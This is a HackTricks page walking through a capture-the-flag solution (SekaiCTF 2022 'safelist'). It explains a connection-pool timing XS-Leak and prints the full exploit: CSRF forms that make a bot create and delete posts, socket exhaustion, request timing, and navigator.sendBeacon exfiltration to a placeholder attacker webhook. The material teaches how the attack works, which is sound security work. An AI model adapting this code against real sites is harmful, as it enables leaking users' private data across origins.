hacktricks/pentesting-web/xs-search/connection-pool-example.md
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# Connection Pool Example
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In the [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) challenge, [**@Strellic\_**](https://twitter.com/Strellic\_) **** gives an example of how to use a **variation** of the **Connection Pool** technique to perform a **XS-Leak**.
In this challenge, the goal is to exfiltrate a flag that will appear in the bots web session inside a post. These are the assets the attacker has:
* The **bot** will **visit** a **URL** given by the attacker
* The attacker can **inject HTML** in the page (but no JS, dompurify is used) abusing a **CSRF** making the **bot create a post** with that HTML.
* The attacker can abuse a CSRF to make the **bot** **delete** the **first** **post** inside the web.
* Because the **posts** are ordered **alphabetically**, when the **first post is deleted**, if the **HTML** content of the attacker is **loaded** means that it was **alphabetically before the flag**.
Therefore, to steal the flag, the solution proposed by @Strellyc\_ is to, **for each char to test** make the bot:
* Create a **new post** that **starts** with the known part of the **flag** and several **img** **loads**.
* **Delete** the **post** in position **0**.
* Block 255 sockets.
* Load the page with the posts
* Perform 5 random requests to a site (example.com in this case) and measure the time this takes.
{% hint style="warning" %}
If the **deleted** post was the **flag**, this means that all the **images** **injected** in the HTML are going to be **fighting** with the **5 random requests** for that **unblocked** socket. Which means that the time measured is going to be bigger than the other scenario.
If the **deleted** post was the **HTML**, the **5 random requests** will be **faster** because they don't need to fight for that socket with the HTML injected.
{% endhint %}
This is the exploit code, taken from [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
```html
<!-- Form to inject HTML code in the bots page -->
<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
<input type="text" name="text" />
<input type="submit" />
</form>
<!-- Form to delete the first entry -->
<form method="POST" action="https://safelist.ctf.sekai.team/remove" id="remove" target="_blank">
<input type="text" name="index" value="0" />
<input type="submit" />
</form>
<script>
// Attacker listening
const WEBHOOK = "https://WEBHOOK.com/";
// Send data to attacker
const log = (id, data) => {
let payload = JSON.stringify({ known, alphabet, data });
console.log(id, payload);
navigator.sendBeacon(WEBHOOK + "?" + id, payload);
}
// Similar to JQuery
const $ = document.querySelector.bind(document);
// Known part of the flag
const known = "SEKAI{";
let alphabet = "_abcdefghijklmnopqrstuvwxyz}";
// Reduce the alphabet using a hash (#) in the URL
if (location.hash) {
alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)));
}
// Funtion to leak chars
const leak = async (c) => {
// Prepare post with known flag and the new char
let payload = `${known + c}`;
// Inject as many <img as possible
// you need to respect the CSP and create URLs that are different
for(let i = 0; payload.length < 2048; i++) {
payload += `<img src=js/purify.js?${i.toString(36)}>`;
}
// Inject HTML
$("#create input[type=text]").value = payload;
$("#create").submit();
await new Promise(r => setTimeout(r, 1000));
// Remove post with index 0
$("#remove").submit();
await new Promise(r => setTimeout(r, 500));
let deltas = [];
// Try each char 3 times
for (let i = 0; i < 3; i++) {
const SOCKET_LIMIT = 255;
// you will need a custom server that works like num.sleepserver.com/sleep/delay
// needed to freeze the blocked sockets, and they have to all be on different origins
// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
const SLEEP_SERVER = i => `http://${i}.sleepserver.com/sleep/60`;
const block = async (i, controller) => {
try {
return fetch(SLEEP_SERVER(i), { mode: "no-cors", signal: controller.signal });
}
catch(err) {}
};
// block SOCKET_LIMIT sockets
const controller = new AbortController();
for (let i = 0; i < SOCKET_LIMIT; i++) {
block(i, controller);
}
// Make the bot access the page with the posts
window.open("https://safelist.ctf.sekai.team/?" + Math.random().toString(36).slice(2), "pwn");
await new Promise(r => setTimeout(r, 500));
// start meassuring time to perform 5 requests
let start = performance.now();
await Promise.all([
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" })
]);
let delta = performance.now() - start;
document.title = delta;
controller.abort();
log("test_" + c + "_" + i, delta);
// Save time needed
deltas.push(delta);
}
return deltas;
};
// Check each char
const pwn = async () => {
// Try to leak each character
for(let i = 0; i < alphabet.length; i++) {
//Check the indicated char
let deltas = await leak(alphabet[i]);
// Calculate mean time from requests to example.com
let avg = deltas.reduce((a,v) => a+v, 0) / deltas.length;
// If greater than 250, the HTML code was injected (flag in index 0)
if (avg > 250) {
log("tests_pos_" + alphabet[i], deltas)
}
// Flag in the page
else {
log("tests_neg_" + alphabet[i], deltas)
}
}
};
window.onload = async () => {
pwn();
};
</script>
```
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